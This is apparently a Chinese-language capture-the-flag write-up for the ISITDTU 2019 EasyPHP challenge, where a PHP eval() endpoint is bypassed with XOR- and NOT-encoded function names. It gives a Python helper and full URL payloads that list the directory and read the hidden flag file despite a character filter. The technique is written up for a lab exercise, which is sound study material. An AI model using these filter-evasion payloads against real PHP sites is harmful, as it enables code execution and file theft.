【ISITDTU 2019EasyPHP】使用异或webshell

本文最后更新于:2023年8月25日 下午

[TOC]

[ISITDTU 2019EasyPHP]使用异或webshell

解题

index.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');

eval($_);
?>

这里主要需要绕过两个if正则过滤:

1
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )

如果 $_ 中的字符串包含其中任何字符,则会执行 die('rosé will not do it'); 终止脚本的执行。

以下是该正则表达式所匹配的字符范围和特殊字符:

  • [\x00- 0-9]:匹配 ASCII 控制字符和数字 0-9。
  • \'":匹配单引号和双引号。
  • $&.,|[{_defgops\x7F]:匹配特定字符集合,包括 $, &, ., ,, |, [, {, _, d, e, f, g, o, p, s 和 ASCII 值为 \x7F 的字符。

因此,如果 $_ 中的字符串包含上述字符集合中的任何一个字符,那么条件为真,执行 die('rosé will not do it'); 终止脚本执行。

第二个if:

1
strlen(count_chars(strtolower($_), 0x3)) > 0xd

这一段代码的意思是传入的字符种类不能超过13种

我们注意到并没有过滤 ~ ^

所以我们尝试使用一下取反~

1
/?_=(~%8F%97%8F%96%91%99%90)();   # phpinfo();

使用异或:

1
2
3
4
5
<?php
$s = urlencode("phpinfo" ^ urldecode("%ff%ff%ff%ff%ff%ff%ff"));
echo "((".$s.")^("."%ff%ff%ff%ff%ff%ff%ff))();";

# ((%8F%97%8F%96%91%99%90)^(%ff%ff%ff%ff%ff%ff%ff))();

image-20230809145509591

disable_functions:

image-20230809145532759

把一些常用的全部过滤了,但是我们可以使用print_rscandir()两个函数读取目录,再使用show_source()读取文件

1
2
3
print_r(scandir('.'))

(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))

我们测一下用了多少字符:

1
2
3
4
5
<?php
$s = '(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))';
echo strlen(count_chars($s,3));

# 16

总共16个字符

我们需要控制在13个以内,除了();^ 就只剩下了9个字符

由于这里限制字符种类,但是不限制长度,所以我们应该想一想有哪些字符可以用其他字符多次异或得来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def en(s):
return hex(ord(s) ^ 0xff)[2:]


p = list(set('printrscandir'))
for i in p:
for j in p:
for k in p:
for m in p:
if ord(j) ^ ord(k) ^ ord(m) == ord(i):
if(j == k or j == m or m == k):
continue
else:
print(i+'=='+j + '^' + k + '^'+m, end='\t')
print(
'{:0>2} => ["{:0>2}","{:0>2}","{:0>2}"]'.format(
en(i), en(j), en(k), en(m)))
break

这段代码就是找出通过三个字符能异或构造出字符串中一个字符的代码,然后输出他们与%ff异或之后的值

1
2
%9e  =  %9c ^ %8d ^ %8f
a = %9e ^ %ff = %9c ^ %8d ^ %8f ^ %ff

image-20230809153030320

我们需要挑选出字符串里面一些出现比较少的字符串,替换为3个字符的异或,例如:

tt==s^i^n 8b => ["8c","96","91"]

1
2
3
t = \x8B ^ \xFF
变为
t = \x8c ^ \x96 ^ \x91 ^ \xff

我们按照这个思路,批量替换一下字符,让其长度小于13

我们寻找几个被代替的字符:

1
2
3
4
5
6
7
8
9
10
11
a = c^p^r
d = s^c^t
n = i^s^t


c = %9C
p = %8F
r = %8D
s = %8C
t = %8B
i = %96

于是我们可以通过这些来代替:

1
2
3
print_r(scandir('.'))

(%8F%8D%96%91%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff)((%8C%9C%9E%91%9B%96%8D^%ff%ff%ff%ff%ff%ff%ff)((%D1^%ff)))

替代后:将a n d 替换

1
2
3
4
5
print_r = (%8F%8D%96%96%8B%A0%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%ff%8c%ff%ff%ff^%ff%ff%ff%8b%ff%ff%ff)

scandir = (%8C%9C%9C%96%8C%96%8D^%ff%ff%ff%ff%ff%ff%ff^%ff%ff%8F%8B%9C%ff%ff^%ff%ff%8D%8C%8B%ff%ff)

. = (%D1^%ff)

所以print_r(scandir('.'))

1
((%8f%8d%96%96%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%ff%8c%ff%ff%ff)^(%ff%ff%ff%8b%ff%ff%ff))(((%8c%9c%9c%96%8c%96%8d)^(%ff%ff%ff%ff%ff%ff%ff)^(%ff%ff%8f%8c%9c%ff%ff)^(%ff%ff%8d%8b%8b%ff%ff))(%d1^%ff));

传入:

image-20230809160211396

n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt ,直接读读不了,我们可以使用:end()获得数组的最后一个值

1
show_source(end(scandir('.')))
1
?_=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

总结

这题太烦了


【ISITDTU 2019EasyPHP】使用异或webshell
https://leekosss.github.io/2023/08/24/[ISITDTU 2019EasyPHP]使用异或webshell/
作者
leekos
发布于
2023年8月24日
更新于
2023年8月25日
许可协议